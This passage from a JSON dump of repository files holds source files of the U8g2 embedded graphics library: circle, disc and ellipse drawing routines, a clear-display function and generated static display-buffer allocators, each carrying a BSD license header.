x -= w/2;\n\n  if ( flags & U8G2_BTN_PADWIDTH )\n  {\n    padding_h = 0;\n    if ( w < padding_h_or_width )\n    {\n      if ( flags & U8G2_BTN_HCENTER )\n      {\n        text_x_offset = (padding_h_or_width-w)/2;\n      }\n      w = padding_h_or_width;\n    }\n  }\n  \n  \n  u8g2_SetFontMode(u8g2, 1);\n    \n  for(;;)\n  {\n    if ( padding_h >= u8g2_GetDisplayWidth(u8g2)/2 )    // padding_h is zero if U8G2_BTN_PADWIDTH is set\n    {\n      xx = (flags & U8G2_BTN_BW_MASK) - border_width;\n      ww = u8g2_GetDisplayWidth(u8g2);\n      ww -= 2*((flags & U8G2_BTN_BW_MASK) - border_width);\n      //printf(\"xx=%d ww=%d\\n\", xx, ww);\n      //printf(\"clip_x1=%d clip_x0=%d\\n\", u8g2->clip_x1, u8g2->clip_x0);\n    }\n    else\n    {\n      xx = x;\n      xx -= text_x_offset;\n      xx -= padding_h;\n      xx -= border_width;\n      ww = w+2*padding_h+2*border_width;\n    }\n    \n    yy = y;\n    yy += u8g2->font_calc_vref(u8g2);\n    yy -= a;\n    yy -= padding_v;\n    yy -= border_width;\n    hh = a-d+2*padding_v+2*border_width;\n    if ( border_width == 0 )\n      break;\n    u8g2_DrawRFrame(u8g2, xx, yy, ww, hh, r);\n    if ( (flags & U8G2_BTN_BW_MASK) > 1 )\n      u8g2_DrawRFrame(u8g2, xx, yy, ww, hh, r+1);\n    \n    border_width--;\n    if ( r > 1 )\n      r--;\n  }\n  if ( flags & U8G2_BTN_INV )\n  {\n    u8g2_DrawRBox(u8g2, xx, yy, ww, hh,r);\n    u8g2_SetDrawColor(u8g2, 1-u8g2->draw_color);\n  }\n  u8g2_DrawUTF8(u8g2, x,y, text);\n  u8g2_SetDrawColor(u8g2, color_backup);\n}\n\n#endif\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_circle.c",
    "content": "/*\n\n  u8g2_circle.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n#include \"u8g2.h\"\n\n/*==============================================*/\n/* Circle */\n\nstatic void u8g2_draw_circle_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option) U8G2_NOINLINE;\n\nstatic void u8g2_draw_circle_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option)\n{\n    /* upper right */\n    if ( option & U8G2_DRAW_UPPER_RIGHT )\n    {\n      u8g2_DrawPixel(u8g2, x0 + x, y0 - y);\n      u8g2_DrawPixel(u8g2, x0 + y, y0 - x);\n    }\n    \n    /* upper left */\n    if ( option & U8G2_DRAW_UPPER_LEFT )\n    {\n      u8g2_DrawPixel(u8g2, x0 - x, y0 - y);\n      u8g2_DrawPixel(u8g2, x0 - y, y0 - x);\n    }\n    \n    /* lower right */\n    if ( option & U8G2_DRAW_LOWER_RIGHT )\n    {\n      u8g2_DrawPixel(u8g2, x0 + x, y0 + y);\n      u8g2_DrawPixel(u8g2, x0 + y, y0 + x);\n    }\n    \n    /* lower left */\n    if ( option & U8G2_DRAW_LOWER_LEFT )\n    {\n      u8g2_DrawPixel(u8g2, x0 - x, y0 + y);\n      u8g2_DrawPixel(u8g2, x0 - y, y0 + x);\n    }\n}\n\nstatic void u8g2_draw_circle(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t option)\n{\n    u8g2_int_t f;\n    u8g2_int_t ddF_x;\n    u8g2_int_t ddF_y;\n    u8g2_uint_t x;\n    u8g2_uint_t y;\n\n    f = 1;\n    f -= rad;\n    ddF_x = 1;\n    ddF_y = 0;\n    ddF_y -= rad;\n    ddF_y *= 2;\n    x = 0;\n    y = rad;\n\n    u8g2_draw_circle_section(u8g2, x, y, x0, y0, option);\n    \n    while ( x < y )\n    {\n      if (f >= 0) \n      {\n        y--;\n        ddF_y += 2;\n        f += ddF_y;\n      }\n      x++;\n      ddF_x += 2;\n      f += ddF_x;\n\n      u8g2_draw_circle_section(u8g2, x, y, x0, y0, option);    \n    }\n}\n\nvoid u8g2_DrawCircle(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t option)\n{\n  /* check for bounding box */\n#ifdef U8G2_WITH_INTERSECTION\n  {\n    if ( u8g2_IsIntersection(u8g2, x0-rad, y0-rad, x0+rad+1, y0+rad+1) == 0 ) \n      return;\n  }\n#endif /* U8G2_WITH_INTERSECTION */\n  \n  \n  /* draw circle */\n  u8g2_draw_circle(u8g2, x0, y0, rad, option);\n}\n\n/*==============================================*/\n/* Disk */\n\nstatic void u8g2_draw_disc_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option) U8G2_NOINLINE;\n\nstatic void u8g2_draw_disc_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option)\n{\n    /* upper right */\n    if ( option & U8G2_DRAW_UPPER_RIGHT )\n    {\n      u8g2_DrawVLine(u8g2, x0+x, y0-y, y+1);\n      u8g2_DrawVLine(u8g2, x0+y, y0-x, x+1);\n    }\n    \n    /* upper left */\n    if ( option & U8G2_DRAW_UPPER_LEFT )\n    {\n      u8g2_DrawVLine(u8g2, x0-x, y0-y, y+1);\n      u8g2_DrawVLine(u8g2, x0-y, y0-x, x+1);\n    }\n    \n    /* lower right */\n    if ( option & U8G2_DRAW_LOWER_RIGHT )\n    {\n      u8g2_DrawVLine(u8g2, x0+x, y0, y+1);\n      u8g2_DrawVLine(u8g2, x0+y, y0, x+1);\n    }\n    \n    /* lower left */\n    if ( option & U8G2_DRAW_LOWER_LEFT )\n    {\n      u8g2_DrawVLine(u8g2, x0-x, y0, y+1);\n      u8g2_DrawVLine(u8g2, x0-y, y0, x+1);\n    }\n}\n\nstatic void u8g2_draw_disc(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t option)\n{\n  u8g2_int_t f;\n  u8g2_int_t ddF_x;\n  u8g2_int_t ddF_y;\n  u8g2_uint_t x;\n  u8g2_uint_t y;\n\n  f = 1;\n  f -= rad;\n  ddF_x = 1;\n  ddF_y = 0;\n  ddF_y -= rad;\n  ddF_y *= 2;\n  x = 0;\n  y = rad;\n\n  u8g2_draw_disc_section(u8g2, x, y, x0, y0, option);\n  \n  while ( x < y )\n  {\n    if (f >= 0) \n    {\n      y--;\n      ddF_y += 2;\n      f += ddF_y;\n    }\n    x++;\n    ddF_x += 2;\n    f += ddF_x;\n\n    u8g2_draw_disc_section(u8g2, x, y, x0, y0, option);    \n  }\n}\n\nvoid u8g2_DrawDisc(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t option)\n{\n  /* check for bounding box */\n#ifdef U8G2_WITH_INTERSECTION\n  {\n    if ( u8g2_IsIntersection(u8g2, x0-rad, y0-rad, x0+rad+1, y0+rad+1) == 0 ) \n      return;\n  }\n#endif /* U8G2_WITH_INTERSECTION */\n  \n  /* draw disc */\n  u8g2_draw_disc(u8g2, x0, y0, rad, option);\n}\n\n/*==============================================*/\n/* Ellipse */\n\n/*\n  Source: \n    Foley, Computer Graphics, p 90\n*/\nstatic void u8g2_draw_ellipse_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option) U8G2_NOINLINE;\nstatic void u8g2_draw_ellipse_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option)\n{\n    /* upper right */\n    if ( option & U8G2_DRAW_UPPER_RIGHT )\n    {\n      u8g2_DrawPixel(u8g2, x0 + x, y0 - y);\n    }\n    \n    /* upper left */\n    if ( option & U8G2_DRAW_UPPER_LEFT )\n    {\n      u8g2_DrawPixel(u8g2, x0 - x, y0 - y);\n    }\n    \n    /* lower right */\n    if ( option & U8G2_DRAW_LOWER_RIGHT )\n    {\n      u8g2_DrawPixel(u8g2, x0 + x, y0 + y);\n    }\n    \n    /* lower left */\n    if ( option & U8G2_DRAW_LOWER_LEFT )\n    {\n      u8g2_DrawPixel(u8g2, x0 - x, y0 + y);\n    }\n}\n\nstatic void u8g2_draw_ellipse(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t option)\n{\n  u8g2_uint_t x, y;\n  u8g2_long_t xchg, ychg;\n  u8g2_long_t err;\n  u8g2_long_t rxrx2;\n  u8g2_long_t ryry2;\n  u8g2_long_t stopx, stopy;\n  \n  rxrx2 = rx;\n  rxrx2 *= rx;\n  rxrx2 *= 2;\n  \n  ryry2 = ry;\n  ryry2 *= ry;\n  ryry2 *= 2;\n  \n  x = rx;\n  y = 0;\n  \n  xchg = 1;\n  xchg -= rx;\n  xchg -= rx;\n  xchg *= ry;\n  xchg *= ry;\n  \n  ychg = rx;\n  ychg *= rx;\n  \n  err = 0;\n  \n  stopx = ryry2;\n  stopx *= rx;\n  stopy = 0;\n  \n  while( stopx >= stopy )\n  {\n    u8g2_draw_ellipse_section(u8g2, x, y, x0, y0, option);\n    y++;\n    stopy += rxrx2;\n    err += ychg;\n    ychg += rxrx2;\n    if ( 2*err+xchg > 0 )\n    {\n      x--;\n      stopx -= ryry2;\n      err += xchg;\n      xchg += ryry2;      \n    }\n  }\n\n  x = 0;\n  y = ry;\n  \n  xchg = ry;\n  xchg *= ry;\n  \n  ychg = 1;\n  ychg -= ry;\n  ychg -= ry;\n  ychg *= rx;\n  ychg *= rx;\n  \n  err = 0;\n  \n  stopx = 0;\n\n  stopy = rxrx2;\n  stopy *= ry;\n  \n\n  while( stopx <= stopy )\n  {\n    u8g2_draw_ellipse_section(u8g2, x, y, x0, y0, option);\n    x++;\n    stopx += ryry2;\n    err += xchg;\n    xchg += ryry2;\n    if ( 2*err+ychg > 0 )\n    {\n      y--;\n      stopy -= rxrx2;\n      err += ychg;\n      ychg += rxrx2;\n    }\n  }\n  \n}\n\nvoid u8g2_DrawEllipse(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t option)\n{\n  /* check for bounding box */\n#ifdef U8G2_WITH_INTERSECTION\n  {\n    if ( u8g2_IsIntersection(u8g2, x0-rx, y0-ry, x0+rx+1, y0+ry+1) == 0 ) \n      return;\n  }\n#endif /* U8G2_WITH_INTERSECTION */\n  \n  u8g2_draw_ellipse(u8g2, x0, y0, rx, ry, option);\n}\n\n/*==============================================*/\n/* Filled Ellipse */\n\nstatic void u8g2_draw_filled_ellipse_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option) U8G2_NOINLINE;\nstatic void u8g2_draw_filled_ellipse_section(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t x0, u8g2_uint_t y0, uint8_t option)\n{\n    /* upper right */\n    if ( option & U8G2_DRAW_UPPER_RIGHT )\n    {\n      u8g2_DrawVLine(u8g2, x0+x, y0-y, y+1);\n    }\n    \n    /* upper left */\n    if ( option & U8G2_DRAW_UPPER_LEFT )\n    {\n      u8g2_DrawVLine(u8g2, x0-x, y0-y, y+1);\n    }\n    \n    /* lower right */\n    if ( option & U8G2_DRAW_LOWER_RIGHT )\n    {\n      u8g2_DrawVLine(u8g2, x0+x, y0, y+1);\n    }\n    \n    /* lower left */\n    if ( option & U8G2_DRAW_LOWER_LEFT )\n    {\n      u8g2_DrawVLine(u8g2, x0-x, y0, y+1);\n    }\n}\n\nstatic void u8g2_draw_filled_ellipse(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t option)\n{\n  u8g2_uint_t x, y;\n  u8g2_long_t xchg, ychg;\n  u8g2_long_t err;\n  u8g2_long_t rxrx2;\n  u8g2_long_t ryry2;\n  u8g2_long_t stopx, stopy;\n  \n  rxrx2 = rx;\n  rxrx2 *= rx;\n  rxrx2 *= 2;\n  \n  ryry2 = ry;\n  ryry2 *= ry;\n  ryry2 *= 2;\n  \n  x = rx;\n  y = 0;\n  \n  xchg = 1;\n  xchg -= rx;\n  xchg -= rx;\n  xchg *= ry;\n  xchg *= ry;\n  \n  ychg = rx;\n  ychg *= rx;\n  \n  err = 0;\n  \n  stopx = ryry2;\n  stopx *= rx;\n  stopy = 0;\n  \n  while( stopx >= stopy )\n  {\n    u8g2_draw_filled_ellipse_section(u8g2, x, y, x0, y0, option);\n    y++;\n    stopy += rxrx2;\n    err += ychg;\n    ychg += rxrx2;\n    if ( 2*err+xchg > 0 )\n    {\n      x--;\n      stopx -= ryry2;\n      err += xchg;\n      xchg += ryry2;      \n    }\n  }\n\n  x = 0;\n  y = ry;\n  \n  xchg = ry;\n  xchg *= ry;\n  \n  ychg = 1;\n  ychg -= ry;\n  ychg -= ry;\n  ychg *= rx;\n  ychg *= rx;\n  \n  err = 0;\n  \n  stopx = 0;\n\n  stopy = rxrx2;\n  stopy *= ry;\n  \n\n  while( stopx <= stopy )\n  {\n    u8g2_draw_filled_ellipse_section(u8g2, x, y, x0, y0, option);\n    x++;\n    stopx += ryry2;\n    err += xchg;\n    xchg += ryry2;\n    if ( 2*err+ychg > 0 )\n    {\n      y--;\n      stopy -= rxrx2;\n      err += ychg;\n      ychg += rxrx2;\n    }\n  }\n  \n}\n\nvoid u8g2_DrawFilledEllipse(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t option)\n{\n  /* check for bounding box */\n#ifdef U8G2_WITH_INTERSECTION\n  {\n    if ( u8g2_IsIntersection(u8g2, x0-rx, y0-ry, x0+rx+1, y0+ry+1) == 0 ) \n      return;\n  }\n#endif /* U8G2_WITH_INTERSECTION */\n  \n  u8g2_draw_filled_ellipse(u8g2, x0, y0, rx, ry, option);\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_cleardisplay.c",
    "content": "/*\n\n  u8g2_cleardisplay.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n#include \"u8g2.h\"\n\n/* Clear screen buffer & display reliable for all u8g2 displays. */\n/* This is done with u8g2 picture loop, because we can not use the u8x8 function in all cases */\nvoid u8g2_ClearDisplay(u8g2_t *u8g2)\n{\n  u8g2_FirstPage(u8g2);\n  do {\n  } while ( u8g2_NextPage(u8g2) );\n  /* \n    This function is usually called during startup (u8g2.begin()).\n    However the user might want to use full buffer mode with clear and \n    send commands.\n    This will not work because the current tile row is modified by the picture \n    loop above. To fix this, reset the tile row to 0, issue #370\n    A workaround would be, that the user sets the current tile row to 0 manually.\n  */\n  u8g2_SetBufferCurrTileRow(u8g2, 0);  \n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_d_memory.c",
    "content": "/* u8g2_d_memory.c */\n/* generated code, codebuild, u8g2 project */\n\n#include \"u8g2.h\"\n\nuint8_t *u8g2_m_16_4_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[128];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_4_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[256];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_4_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 4;\n  return 0;\n  #else\n  static uint8_t buf[512];\n  *page_cnt = 4;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_8_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[128];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_8_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[256];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_8_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 8;\n  return 0;\n  #else\n  static uint8_t buf[1024];\n  *page_cnt = 8;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_255_2_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[2040];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_255_2_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[4080];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_255_2_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[4080];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_9_5_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[72];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_9_5_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[144];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_9_5_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 5;\n  return 0;\n  #else\n  static uint8_t buf[360];\n  *page_cnt = 5;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_5_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[96];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_5_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[192];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_5_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 5;\n  return 0;\n  #else\n  static uint8_t buf[480];\n  *page_cnt = 5;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_8_4_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[64];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_8_4_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[128];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_8_4_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 4;\n  return 0;\n  #else\n  static uint8_t buf[256];\n  *page_cnt = 4;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_8_16_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[64];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_8_16_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[128];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_8_16_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 16;\n  return 0;\n  #else\n  static uint8_t buf[1024];\n  *page_cnt = 16;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_12_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[96];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_12_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[192];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_12_12_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 12;\n  return 0;\n  #else\n  static uint8_t buf[1152];\n  *page_cnt = 12;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_10_16_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[80];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_10_16_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[160];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_10_16_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 16;\n  return 0;\n  #else\n  static uint8_t buf[1280];\n  *page_cnt = 16;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_16_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[128];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_16_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[256];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_16_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 16;\n  return 0;\n  #else\n  static uint8_t buf[2048];\n  *page_cnt = 16;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_20_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[128];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_20_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[256];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_16_20_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 20;\n  return 0;\n  #else\n  static uint8_t buf[2560];\n  *page_cnt = 20;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_20_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[160];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_20_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[320];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_20_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 20;\n  return 0;\n  #else\n  static uint8_t buf[3200];\n  *page_cnt = 20;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_32_8_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[256];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_32_8_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[512];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_32_8_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 8;\n  return 0;\n  #else\n  static uint8_t buf[2048];\n  *page_cnt = 8;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_13_8_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[104];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_13_8_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[208];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_13_8_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 8;\n  return 0;\n  #else\n  static uint8_t buf[832];\n  *page_cnt = 8;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_8_6_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[64];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_8_6_2(uint8_t 